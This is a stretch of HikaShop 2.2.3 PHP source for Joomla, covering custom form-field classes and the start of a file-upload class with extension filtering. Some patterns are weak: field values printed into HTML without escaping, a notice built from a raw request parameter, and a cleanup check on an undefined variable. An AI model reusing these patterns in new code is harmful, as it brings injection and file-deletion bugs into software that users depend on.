			$class='hikashop_custom_image_link';
		}
		return '<img class="'.$class.'"
src="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).'"
alt="'.htmlspecialchars($value, ENT_COMPAT,
'UTF-8').'" />';
	}
}

class hikashopAjaxfile extends hikashopItem {
	var $layoutName = 'upload';
	var $mode = 'file';
	var $viewName = 'file_entry';

	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$config = hikashop_config();
		$uploaderType = hikashop_get('type.uploader');

		$id = $this->prefix.@$field->field_namekey.$this->suffix;
		$options = array(
			'upload' => true,
			'gallery' => false,
			'text' =>
JText::_('HIKA_DEFAULT_IMAGE_EMPTY_UPLOAD'),
			'uploader' => array('order',
$field->field_table.'-'.$field->field_namekey),
			'ajax' => true,
			'vars' => array(
				'field_map' => $map
			)
		);

		$params = new stdClass();
		$params->file_name = $value;
		$params->file_path = $value;
		$params->field_name = $map.'[name]';
		$params->file_size = 0;

		if(!empty($value)) {
			$path =
JPath::clean(HIKASHOP_ROOT.DS.trim($config->get('uploadsecurefolder'),
DS.' ').DS);
			$v = md5_file($path . $value);
			$params->file_size = filesize($path . $value);

			$n = $map.'[sec]';

			$params->extra_fields = array(
				$n => $v
			);
		}

		$params->origin_url =
hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value)));

		if($this->mode == 'image' && !empty($value)) {
			$thumbnail_x = 100;
			$thumbnail_y = 100;
			$thumbnails_params =
'&thumbnail_x='.$thumbnail_x.'&thumbnail_y='.$thumbnail_y;

			$params->thumbnail_url =
hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value)).$thumbnails_params);
		}

		$js = '';
		$content = hikashop_getLayout($this->layoutName, $this->viewName,
$params, $js);

		if($this->mode == 'image')
			return $uploaderType->displayImageSingle($id, $content, $options);
		return $uploaderType->displayFileSingle($id, $content, $options);
	}

	function show(&$field, $value, $class =
'hikashop_custom_file_link') {
		if($class=='admin_email'){
			return '<a target="_blank"
class="'.$class.'"
href="'.HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value)).'">'.$value.'</a>';
		}elseif($class=='user_email'){
			if(@$field->guest_mode){
				return $value;
			}
			return '<a target="_blank"
class="'.$class.'"
href="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).'">'.$value.'</a>';
		}
		hikashop_loadJslib('opload');
		if($this->mode == 'image') {
			$thumbnail_x = 100;
			$thumbnail_y = 100;
			$thumbnails_params =
'&thumbnail_x='.$thumbnail_x.'&thumbnail_y='.$thumbnail_y;
			return '<img class="'.$class.'"
src="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).$thumbnails_params.'"
alt="'.htmlspecialchars($value, ENT_COMPAT,
'UTF-8').'" />';
		}
		return '<a target="_blank"
class="'.$class.'"
href="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).'">'.$value.'</a>';
	}

	function check(&$field,&$value,$oldvalue) {
		if(!empty($value) && !is_array($value))
			return false;

		if(is_array($value)) {
			$config = hikashop_config();
			$path =
JPath::clean(HIKASHOP_ROOT.DS.trim($config->get('uploadsecurefolder'),
DS.' ').DS);
			$hash = '';
			if(!empty($value['name']))
				$hash = md5_file($path . $value['name']);
			if(!empty($value['name']) &&
(empty($value['sec']) || $hash != $value['sec'])) {
				$value = $oldvalue;
				return false;
			}
			$value = $value['name'];
		} else {
			if($value != $oldvalue) {
				$value = $oldvalue;
				return false;
			}
		}

		return parent::check($field,$value,$oldvalue);
	}

	function _manageUpload($field, &$ret, $map, $uploadConfig, $caller) {
		if(empty($map) || empty($field))
			return;

		$config = hikashop_config();
		$path =
JPath::clean(HIKASHOP_ROOT.DS.trim($config->get('uploadsecurefolder'),
DS.' ').DS);

		$ret->params->file_name = $ret->params->file_path;
		$ret->params->field_name = $map.'[name]';
		if(!empty($ret->params->file_path)) {
			$v = md5_file($path . $ret->params->file_path);
			$ret->params->file_size = filesize($path .
$ret->params->file_path);

			$n = $map.'[sec]';
			$ret->params->extra_fields = array(
				$n => $v
			);
		}

		$ret->params->origin_url =
hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($ret->params->file_path)));

		if($this->mode == 'image') {
			$thumbnail_x = 100;
			$thumbnail_y = 100;
			$thumbnails_params =
'&thumbnail_x='.$thumbnail_x.'&thumbnail_y='.$thumbnail_y;
			$ret->params->thumbnail_url =
hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($ret->params->file_path)).$thumbnails_params);
		}
	}
}

class hikashopAjaximage extends hikashopAjaxfile {
	var $layoutName = 'upload';
	var $mode = 'image';
	var $viewName = 'image_entry';
}

class hikashopCoupon extends hikashopText {
	function check(&$field,&$value,$oldvalue){
		$status = parent::check($field,$value,$oldvalue);

		if($status){
			if($field->field_required && empty($value)){
				return true;
			}
			$zone_id = hikashop_getZone('shipping');
			$discount=hikashop_get('class.discount');
			$zoneClass = hikashop_get('class.zone');
			$zones = $zoneClass->getZoneParents($zone_id);
			$total = new stdClass();
			$price = new stdClass();
			$price->price_value_with_tax = 0;
			$price->price_value = 0;
			$price->price_currency_id = hikashop_getCurrency();
			$total->prices = array($price);
			if(empty($field->coupon)){
				$field->coupon=array();
			}
			$products = array();
			$field->coupon[$value] =
$discount->loadAndCheck($value,$total,$zones,$products,true);

			if(empty($field->coupon[$value])){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JRequest::getVar('coupon_error_message'),'notice');
				$status = false;
			}
			static $validCoupons = array();
			if(!isset($validCoupons[$value])){
				$validCoupons[$value] = 1;
			}else{
				$validCoupons[$value]++;
			}

			if($field->coupon[$value]->discount_quota>0){
				$left = ($field->coupon[$value]->discount_quota -
$field->coupon[$value]->discount_used_times);
				if($left<$validCoupons[$value]){
					if($left>0){
						$app = JFactory::getApplication();
						$app->enqueueMessage('You cannot use the coupon
'.$value.' more than '.$left.' times !');
					}
					$status = false;
				}
			}


		}
		return $status;
	}
}

class hikashopWysiwyg extends hikashopTextarea {
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$editorHelper = hikashop_get('helper.editor');
		$editorHelper->name = $map;
		$editorHelper->content = $value;
		$editorHelper->id =
$this->prefix.@$field->field_namekey.$this->suffix;
		$editorHelper->width = '100%';
		$editorHelper->cols =
empty($field->field_options['cols']) ? 50 :
intval($field->field_options['cols']);
		$editorHelper->rows =
empty($field->field_options['rows']) ? 10 :
intval($field->field_options['rows']);

		return $editorHelper->display();

		$js = '';
		$html = '';
		if($inside && strlen($value) < 1){
			$value = addslashes($this->trans($field->field_realname));
			$this->excludeValue[$field->field_namekey] = $value;
			$js = 'onfocus="if(this.value ==
\''.$value.'\') this.value = \'\';"
onblur="if(this.value==\'\')
this.value=\''.$value.'\';"';
		}
		if(!empty($field->field_options['maxlength'])){
			static $done = false;
			if(!$done){
				$jsFunc='
				function hikashopTextCounter(textarea, counterID, maxLen) {
					cnt = document.getElementById(counterID);
					if (textarea.value.length > maxLen){
						textarea.value = textarea.value.substring(0,maxLen);
					}
					cnt.innerHTML = maxLen - textarea.value.length;
				}';
				if(!HIKASHOP_PHP5) {
					$doc =& JFactory::getDocument();
				} else {
					$doc = JFactory::getDocument();
				}
				$doc->addScriptDeclaration(
"<!--\n".$jsFunc."\n//-->\n" );
				$html.= '<span
class="hikashop_remaining_characters">'.JText::sprintf('X_CHARACTERS_REMAINING',$this->prefix.@$field->field_namekey.$this->suffix.'_count',(int)$field->field_options['maxlength']).'</span>';
			}
			$js .= '
onKeyUp="hikashopTextCounter(this,\''.$this->prefix.@$field->field_namekey.$this->suffix.'_count'.'\','.(int)$field->field_options['maxlength'].');"
onBlur="hikashopTextCounter(this,\''.$this->prefix.@$field->field_namekey.$this->suffix.'_count'.'\','.(int)$field->field_options['maxlength'].');"
';
		}

		$cols = empty($field->field_options['cols']) ? ''
:
'cols="'.intval($field->field_options['cols']).'"';
		$rows = empty($field->field_options['rows']) ? ''
:
'rows="'.intval($field->field_options['rows']).'"';
		$options .= empty($field->field_options['readonly']) ?
'' : ' readonly="readonly"';
		return '<textarea class="inputbox"
id="'.$this->prefix.@$field->field_namekey.$this->suffix.'"
name="'.$map.'" '.$cols.' '.$rows.'
'.$js.'
'.$options.'>'.$value.'</textarea>'.$html;
	}
	function show(&$field,$value){
		return $this->trans($value);
	}
}

class hikashopTextarea extends hikashopItem {
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$js = '';
		$html = '';
		if($inside && strlen($value) < 1){
			$value = addslashes($this->trans($field->field_realname));
			$this->excludeValue[$field->field_namekey] = $value;
			$js = 'onfocus="if(this.value ==
\''.$value.'\') this.value = \'\';"
onblur="if(this.value==\'\')
this.value=\''.$value.'\';"';
		}
		if(!empty($field->field_options['maxlength'])){
			static $done = false;
			if(!$done){
				$jsFunc='
				function hikashopTextCounter(textarea, counterID, maxLen) {
					cnt = document.getElementById(counterID);
					if (textarea.value.length > maxLen){
						textarea.value = textarea.value.substring(0,maxLen);
					}
					cnt.innerHTML = maxLen - textarea.value.length;
				}';
				if(!HIKASHOP_PHP5) {
					$doc =& JFactory::getDocument();
				} else {
					$doc = JFactory::getDocument();
				}
				$doc->addScriptDeclaration(
"<!--\n".$jsFunc."\n//-->\n" );
				$html.= '<span
class="hikashop_remaining_characters">'.JText::sprintf('X_CHARACTERS_REMAINING',$this->prefix.@$field->field_namekey.$this->suffix.'_count',(int)$field->field_options['maxlength']).'</span>';
			}
			$js .= '
onKeyUp="hikashopTextCounter(this,\''.$this->prefix.@$field->field_namekey.$this->suffix.'_count'.'\','.(int)$field->field_options['maxlength'].');"
onBlur="hikashopTextCounter(this,\''.$this->prefix.@$field->field_namekey.$this->suffix.'_count'.'\','.(int)$field->field_options['maxlength'].');"
';
		}

		$cols = empty($field->field_options['cols']) ? ''
:
'cols="'.intval($field->field_options['cols']).'"';
		$rows = empty($field->field_options['rows']) ? ''
:
'rows="'.intval($field->field_options['rows']).'"';
		$options .= empty($field->field_options['readonly']) ?
'' : ' readonly="readonly"';
		return '<textarea class="inputbox"
id="'.$this->prefix.@$field->field_namekey.$this->suffix.'"
name="'.$map.'" '.$cols.' '.$rows.'
'.$js.'
'.$options.'>'.$value.'</textarea>'.$html;
	}

	function show(&$field,$value){
		return nl2br(parent::show($field,$value));
	}
}

class hikashopDropdown extends hikashopItem{
	var $type = '';
	function show(&$field,$value){
		if(!empty($field->field_value) &&
!is_array($field->field_value)){
			$field->field_value =
$this->parent->explodeValues($field->field_value);
		}
		if(isset($field->field_value[$value])) $value =
$field->field_value[$value]->value;
		return parent::show($field,$value);
	}

	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$string = '';
		if(!empty($field->field_value) &&
!is_array($field->field_value)){
			$field->field_value =
$this->parent->explodeValues($field->field_value);
		}
		if(empty($field->field_value) || !count($field->field_value)){
			return '<input type="hidden"
name="'.$map.'" value="'.$value.'"
/>';
		}
		if($this->type == "multiple"){
			$string.= '<input type="hidden"
name="'.$map.'" value=" " />';
			$map.='[]';
			$arg = 'multiple="multiple"';
			if(!empty($field->field_options['size'])) $arg .= '
size="'.intval($field->field_options['size']).'"';
		}else{
			$arg = 'size="1"';
			if(is_string($value)&& empty($value) &&
!empty($field->field_value)){
				$found = false;
				$first = false;
				foreach($field->field_value as $oneValue => $title){
					if($first===false){
						$first=$oneValue;
					}
					if($oneValue==$value){
						$found = true;
						break;
					}
				}
				if(!$found){
					$value = $first;
				}
			}
		}
		$string .= '<select
id="'.$this->prefix.$field->field_namekey.$this->suffix.'"
name="'.$map.'" '.$arg.$options.'>';
		if(empty($field->field_value))
			return $string.'</select>';

		$app = JFactory::getApplication();
		$admin = $app->isAdmin();

		$isValue = !empty($value) && !is_array($value) &&
isset($field->field_value[$value]);
		if(is_array($value)) {
			$keys = array_keys($field->field_value);
			$isValue = array_intersect($value, $keys);
			$isValue = !empty($isValue);
		}
		$selected = '';
		foreach($field->field_value as $oneValue => $title) {
			if(isset($field->field_default) && !$isValue) {
				if(array_key_exists($field->field_default,
$field->field_value)){
					if($oneValue === $field->field_default){
						$selected = (is_string($field->field_default) && $oneValue
=== $field->field_default) || is_array($field->field_default)
&& in_array($oneValue,$field->field_default) ?
'selected="selected" ' : '';
					}else{
						$selected = ((int)$title->disabled && !$admin) ?
'disabled="disabled" ' : '';
					}
				}
			} else {
				$selected = ((int)$title->disabled && !$admin) ?
'disabled="disabled" ' : '';
				$selected .= ((is_numeric($value) && is_numeric($oneValue)
&& $oneValue == $value) || (is_string($value) && $oneValue
=== $value) || is_array($value) && in_array($oneValue,$value)) ?
'selected="selected" ' : '';
			}
			$id =
$this->prefix.$field->field_namekey.$this->suffix.'_'.$oneValue;
			$string .= '<option value="'.$oneValue.'"
id="'.$id.'"
'.$selected.'>'.$this->trans($title->value).'</option>';
		}
		$string .= '</select>';

		return $string;
	}
}

class hikashopSingledropdown extends hikashopDropdown{
	var $type = 'single';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		return
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
	}
}

class hikashopZone extends hikashopSingledropdown{
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){

		if($field->field_options['zone_type'] != 'country'
|| empty($field->field_options['pleaseselect'])) {
			$currentZoneId = hikashop_getZone() ? hikashop_getZone() :
'';
			if(!empty($currentZoneId) &&
JFactory::getApplication()->isSite()) {
				$zoneClass = hikashop_get('class.zone');
				$currentZone = $zoneClass->getZoneParents($currentZoneId);
				foreach($currentZone as $currentZoneInfos){
					if(preg_match('/country/',$currentZoneInfos)){
						$defaultCountry = $currentZoneInfos;
					}
				}
			}
		}

		if($field->field_options['zone_type'] ==
'country'){
			if(isset($defaultCountry)){
				$field->field_default = $defaultCountry;
			}
			if(!empty($field->field_options['pleaseselect'])){
				$PleaseSelect = new stdClass();
				$PleaseSelect->value = 'Please select';
				$PleaseSelect->disabled = 0;
				$field->field_value = array_merge(array('' =>
$PleaseSelect), $field->field_value);
				$field->field_default = '';
			}
			$stateNamekey =
str_replace('country','state',$field->field_namekey);
			if(!empty($allFields)) {
				foreach($allFields as &$f) {
					if(!empty($f->field_options['zone_type']) &&
$f->field_options['zone_type'] == 'state') {
						$stateNamekey = $f->field_namekey;
						break;
					}
				}
			}
			$stateId = str_replace(
				array('[',']',$field->field_namekey),
				array('_','',$stateNamekey),
				$map
			);
			$form_name =
str_replace(array('data[',']['.$field->field_namekey.']'),
'', $map);

			$changeJs =
'window.hikashop.changeState(this,\''.$stateId.'\',\''.$field->field_url.'field_type='.$form_name.'&field_id='.$stateId.'&field_namekey='.$stateNamekey.'&namekey=\'+this.value);';
			if(!empty($options) &&
stripos($options,'onchange="')!==false){
				$options =
preg_replace('#onchange="#i','onchange="'.$changeJs,$options);
			}else{
				$options = ' onchange="'.$changeJs.'"';
			}
			if($allFields == null || $allValues == null) {
				$doc = JFactory::getDocument();
				$lang = JFactory::getLanguage();
				$locale = strtolower(substr($lang->get('tag'),0,2));
				$js = 'window.addEvent(\'domready\', function() {
	var el =
document.getElementById(\''.$this->prefix.$field->field_namekey.$this->suffix.'\');
	window.hikashop.changeState(el,\''.$stateId.'\',\''.$field->field_url.'lang='.$locale.'&field_type='.$form_name.'&field_id='.$stateId.'&field_namekey='.$stateNamekey.'&namekey=\'+el.value);
});';
				$doc->addScriptDeclaration($js);
			}
		} elseif($field->field_options['zone_type'] ==
'state') {
			$stateId =
str_replace(array('[',']'),array('_',''),$map);

			$dropdown = '';

			if($allFields != null) {
				$country = null;
				if(isset($defaultCountry)){
					$country = $defaultCountry;
				}
				foreach($allFields as $f) {
					if($f->field_type == 'zone' &&
!empty($f->field_options['zone_type']) &&
$f->field_options['zone_type'] == 'country') {
						$key = $f->field_namekey;
						if(!empty($allValues->$key)) {
							$country = $allValues->$key;
						} else {
							$country = $f->field_default;
						}
						break;
					}
				}
				if(empty($country)) {
					$address_country_field = $this->parent->get(14); //14 = id of
country field
					if(!empty($address_country_field) &&
$address_country_field->field_type=='zone' &&
!empty($address_country_field->field_options['zone_type'])
&&
$address_country_field->field_options['zone_type']=='country'
&& !empty($address_country_field->field_default)) {
						$country = $address_country_field->field_default;
					}
				}
				if(!empty($country)) {
					$countryType = hikashop_get('type.country');
					$countryType->field = $field;
					$dropdown = $countryType->displayStateDropDown($country, $stateId,
$map, '', $value, $field->field_options);
				} else {
					$dropdown = '<span
class="state_no_country">'.JText::_('PLEASE_SELECT_COUNTRY_FIRST').'</span>';
				}
			}

			return '<span
id="'.$stateId.'_container">'.$dropdown.'</span>'.
				'<input type="hidden"
id="'.$stateId.'_default_value"
name="'.$stateId.'_default_value"
value="'.$value.'"/>';
		}
		return
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
	}
	function check(&$field,&$value,$oldvalue){
		if(is_string($value))
			$value = trim($value);
		if(!$field->field_required || is_array($value) || strlen($value) ||
strlen($oldvalue)){
			if($value == 'no_state_found')
				$value = '';
			return true;
		}
		if($this->report){
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::sprintf('PLEASE_FILL_THE_FIELD',$this->trans($field->field_realname)));
		}
		return false;
	}
}

class hikashopMultipledropdown extends hikashopDropdown{
	var $type = 'multiple';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$value = explode(',',$value);
		return
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
	}
	function show(&$field,$value){
		if(!is_array($value)){
			$value = explode(',',$value);
		}
		if(!empty($field->field_value) &&
!is_array($field->field_value)){
			$field->field_value =
$this->parent->explodeValues($field->field_value);
		}
		$results = array();
		foreach($value as $val){
			if(isset($field->field_value[$val])) $val =
$field->field_value[$val]->value;
			$results[]= parent::show($field,$val);
		}
		return implode(', ',$results);
	}
}

class hikashopRadioCheck extends hikashopItem {
	var $radioType = 'checkbox';
	function show(&$field,$value) {
		if(!empty($field->field_value) &&
!is_array($field->field_value)){
			$field->field_value =
$this->parent->explodeValues($field->field_value);
		}
		if(isset($field->field_value[$value])) $value =
$field->field_value[$value]->value;
		return parent::show($field,$value);
	}

	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$type = $this->radioType;
		$string = '';
		if($inside) $string = $this->trans($field->field_realname).'
';
		if($type == 'checkbox'){
			$string.= '<input type="hidden"
name="'.$map.'" value=" "/>';
			$map.='[]';
		}
		if(empty($field->field_value)) return $string;
		$app = JFactory::getApplication();
		$admin = $app->isAdmin();

		if(is_array($value)) {
			foreach($value as &$v) {
				$v = (string)$v;
			}
			unset($v);
		}

		foreach($field->field_value as $oneValue => $title){
			$checked = ((int)$title->disabled && !$admin) ?
'disabled="disabled" ' : '';

			$oneValue = (string)$oneValue;
			$checked .= ((is_string($value) && $oneValue === $value) ||
is_array($value) && in_array($oneValue,$value)) ?
'checked="checked" ' : '';
			$id =
$this->prefix.$field->field_namekey.$this->suffix.'_'.$oneValue;
			$string .= '<input type="'.$type.'"
name="'.$map.'"
value="'.$oneValue.'" id="'.$id.'"
'.$checked.' '.$options.' /><label
for="'.$id.'">'.$this->trans($title->value).'</label>';
		}
		return $string;
	}
}

class hikashopRadio extends hikashopRadioCheck {
	var $radioType = 'radio';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		return
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
	}
}

class hikashopCheckbox extends hikashopRadioCheck {
	var $radioType = 'checkbox';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		if(!is_array($value)){
			$value = explode(',',$value);
		}
		return
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
	}
	function show(&$field,$value){
		if(!is_array($value)){
			$value = explode(',',$value);
		}
		if(!empty($field->field_value) &&
!is_array($field->field_value)){
			$field->field_value =
$this->parent->explodeValues($field->field_value);
		}
		$results = array();
		foreach($value as $val){
			if(isset($field->field_value[$val]))
				$val = $field->field_value[$val]->value;
			$results[] = parent::show($field,$val);
		}
		return implode(', ',$results);
	}
}

class hikashopDate extends hikashopItem{
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		if(empty($field->field_options['format']))
$field->field_options['format'] = "%Y-%m-%d";
		$format = $field->field_options['format'];
		$size = $options . empty($field->field_options['size']) ?
'' : '
size="'.$field->field_options['size'].'"';

		if(!HIKASHOP_J30)
			JHTML::_('behavior.mootools');
		else
			JHTML::_('behavior.framework');
		$processing='';
		$message='';
		$check = 'false';
		if(!empty($field->field_options['allow'])){
			switch($field->field_options['allow']){
				case 'future':
					$check = 'today>selectedDate';
					$message = JText::_('SELECT_DATE_IN_FUTURE',true);
					$format .= '",'. "\r\n" . 'disableFunc:
function(date) { var today=new Date();
today.setHours(0);today.setMinutes(0);today.setSeconds(0);today.setMilliseconds(0);
if(date < today) { return true; } return false; }, //';
					break;
				case 'past':
					$check = 'today<selectedDate';
					$message = JText::_('SELECT_DATE_IN_PAST',true);
					$format .= '",'. "\r\n" . 'disableFunc:
function(date) { var today=new Date();
today.setHours(23);today.setMinutes(59);today.setSeconds(59);today.setMilliseconds(99);
if(date > today) { return true; } return false; }, //';
					break;
			}
		}

		if(!empty($check)) {
			$conversion = '';
			if($field->field_options['format'] != "%Y-%m-%d")
{
				$seps =
preg_replace('#[a-z0-9%]#iU','',$field->field_options['format']);
				$seps =
str_replace(array('.','-'),array('\.','\-'),$seps);
				$mConv = false; $yP = -1; $mP = -1; $dP = -1; $i = 0;
				foreach(preg_split('#['.$seps.']#',
$field->field_options['format']) as $d) {
					switch($d) {
						case '%y':
						case '%Y':
							if($yP<0) $yP = $i;
							break;
						case '%b':
						case '%B':
							$mConv = true;
						case '%m':
							if($mP<0) $mP = $i;
							break;
						case '%d':
						case '%e':
							if($dP<0) $dP = $i;
							break;
					}
					$i++;
				}
				$conversion .= '
				var reg = new RegExp("['.$seps.']+",
"g");
				var elems = d.split(reg);
				';

				if($mConv) {
					$conversion .= 'for(var
j=0;j<12;++j){if(Calendar._MN[j].substr(0,elems['.$mP.'].length).toLowerCase()==elems['.$mP.'].toLowerCase()){elems['.$mP.']=(j+1);break;}};
				';
				}

				$conversion .= 'd = elems['.$yP.'] + "-" +
elems['.$mP.'] + "-" + elems['.$dP.'];
				';
			}
			$js = 'function
'.$this->prefix.$field->field_namekey.$this->suffix.'_checkDate(nohide)
			{
				var selObj =
document.getElementById(\''.$this->prefix.$field->field_namekey.$this->suffix.'\');
				if(
typeof('.$this->prefix.$field->field_namekey.$this->suffix.'_preCheckDate)
== "function" ) {
					try {
						if(!'.$this->prefix.$field->field_namekey.$this->suffix.'_preCheckDate(selObj))
							return false;
					} catch(ex) {}
				}
				if(selObj.value==\'\'){
					return true;
				}
				var d = selObj.value;'.$conversion.'
				var timestamp=Date.parse(d);
				var today=new Date();
				today.setHours(0);today.setMinutes(0);today.setSeconds(0);today.setMilliseconds(0);
				if(isNaN(timestamp)!=false){
					selObj.value=\'\';
					alert(\''.JText::_('INCORRECT_DATE_FORMAT',true).'\');
					return false;
				}
				var selectedDate = new Date(timestamp);
				selectedDate.setHours(0);selectedDate.setMinutes(0);selectedDate.setSeconds(0);selectedDate.setMilliseconds(0);

				'.$processing.'
				if('.$check.'){
					selObj.value=\'\';
					alert(\''.$message.'\');
				}else{
					if(!nohide) this.hide();
				}
				if(
typeof('.$this->prefix.$field->field_namekey.$this->suffix.'_postCheckDate)
== "function" ) {
					try{
'.$this->prefix.$field->field_namekey.$this->suffix.'_postCheckDate(selObj,
selectedDate); } catch(ex){}
				}
			}';
			if(HIKASHOP_PHP5) {
				$document = JFactory::getDocument();
			} else {
				$document =& JFactory::getDocument();
			}
			$document->addScriptDeclaration($js);
			$size .= '
onChange="'.$this->prefix.$field->field_namekey.$this->suffix.'_checkDate(1);"';
		}

		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger('onFieldDateDisplay',
array($field->field_namekey, $field, &$value, &$map,
&$format, &$size));

		return JHTML::_('calendar', $value,
$map,$this->prefix.$field->field_namekey.$this->suffix,$format,$size);
	}
}

file.php000064400000054520151160302610006175 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopFileClass extends hikashopClass {
	var $tables = array('file');
	var $pkeys = array('file_id');
	var $namekeys = array();
	var $deleteToggle =
array('file'=>array('file_type','file_ref_id'));
	var $error_type='';


	function saveFile($var_name='files',$type = 'image')
{
		$file = JRequest::getVar( $var_name, array(), 'files',
'array' );

		if(empty($file['name'])) {
			return false;
		}

		$app = JFactory::getApplication();
		$config =& hikashop_config();
		if($type=='file'){
			$allowed = $config->get('allowedfiles');
		}else{
			$allowed = $config->get('allowedimages');
		}

		$uploadPath = $this->getPath($type);

		$tempData = array();

		if(empty($file['name'])) return false;
		$file_path = strtolower(JFile::makeSafe($file['name']));

		if(!preg_match('#\.('.str_replace(array(',','.'),array('|','\.'),$allowed).')$#Ui',$file_path,$extension)
||
preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)$#Ui',$file_path)){
			$app->enqueueMessage(JText::sprintf(
'ACCEPTED_TYPE',substr($file_path,strrpos($file_path,'.')+1),$allowed),
'notice');
			return false;
		}
		$file_path= str_replace(array('.','
'),'_',substr($file_path,0,strpos($file_path,$extension[0]))).$extension[0];

		if(JFile::exists($uploadPath . $file_path)){
			$pos = strrpos($file_path,'.');
			$file_path =
substr($file_path,0,$pos).'_'.rand().'.'.substr($file_path,$pos+1);
		}
		if(!JFile::upload($file['tmp_name'], $uploadPath .
$file_path)){
			if ( !move_uploaded_file($file['tmp_name'], $uploadPath .
$file_path)) {
				$app->enqueueMessage(JText::sprintf(
'FAIL_UPLOAD',$file['tmp_name'],$uploadPath .
$file_path), 'error');
				return false;
			}
		}

		return $file_path;
	}
	function storeFiles($type, $pkey, $var_name = 'files', $subPath
= '') {
		$ids = array();
		$files = JRequest::getVar( $var_name, array(), 'files',
'array' );
		if(!empty($files['name'][0]) ||
!empty($files['name'][1])) {

			$app = JFactory::getApplication();
			$config =& hikashop_config();
			if($type=='file'){
				$allowed = $config->get('allowedfiles');
			}else{
				$allowed = $config->get('allowedimages');
				$imageHelper = hikashop_get('helper.image');
			}

			$uploadPath = $this->getPath($type, $subPath);

			$tempData = array();
			foreach($files['name'] as $id => $filename) {
				if(empty($filename)) continue;
				$file_path = strtolower(JFile::makeSafe($filename));
				if(!preg_match('#\.('.str_replace(array(',','.'),array('|','\.'),$allowed).')$#Ui',$file_path,$extension)
||
preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)$#Ui',$file_path)){
					$app->enqueueMessage(JText::sprintf(
'ACCEPTED_TYPE',substr($file_path,strrpos($file_path,'.')+1),$allowed),
'notice');
					continue;
				}
				$file_path= str_replace(array('.','
'),'_',substr($file_path,0,strpos($file_path,$extension[0]))).$extension[0];
				$tempData[$id]= $file_path;
			}

			if(!empty($tempData)) {
				switch($type){
					case 'category':
						$query = 'SELECT file_path FROM
'.hikashop_table(end($this->tables)).' WHERE file_ref_id =
'.$pkey.' AND file_type=\'category\'';
						$this->database->setQuery($query);
						if(!HIKASHOP_J25){
							$oldEntries = $this->database->loadResultArray();
						} else {
							$oldEntries = $this->database->loadColumn();
						}

						if(!empty($oldEntries)) {
							$oldEntriesQuoted = array();
							foreach($oldEntries as $old) {
								$oldEntriesQuoted[] = $this->database->Quote($old);
							}
							$query = 'SELECT file_path FROM
'.hikashop_table('file').' WHERE file_path IN
('.implode(',',$oldEntriesQuoted).') AND file_ref_id !=
'.$pkey;
							$this->database->setQuery($query);
							if(!HIKASHOP_J25){
								$keepEntries = $this->database->loadResultArray();
							} else {
								$keepEntries = $this->database->loadColumn();
							}
							foreach($oldEntries as $old) {
								if((empty($keepFiles) || !in_array($old,$keepFiles)) &&
JFile::exists($uploadPath . $old))
									JFile::delete($uploadPath . $old);
							}
						}
						break;
				}

				foreach($tempData as $id => $file_path) {
					if(JFile::exists($uploadPath . $file_path)) {
						$pos = strrpos($file_path,'.');
						$file_path =
substr($file_path,0,$pos).'_'.rand().'.'.substr($file_path,$pos+1);
					}

					if(!JFile::upload($files['tmp_name'][$id], $uploadPath .
$file_path)) {
						if ( !move_uploaded_file($files['tmp_name'][$id],
$uploadPath . $file_path)) {
							$app->enqueueMessage(JText::sprintf(
'FAIL_UPLOAD',$files['tmp_name'][$id],$uploadPath .
$file_path), 'error');
							continue;
						}
					}
					if(!in_array($type,array('file','watermark'))) {
						if($type == 'category') {
							$imageHelper->resizeImage($file_path,'category');
						} else {
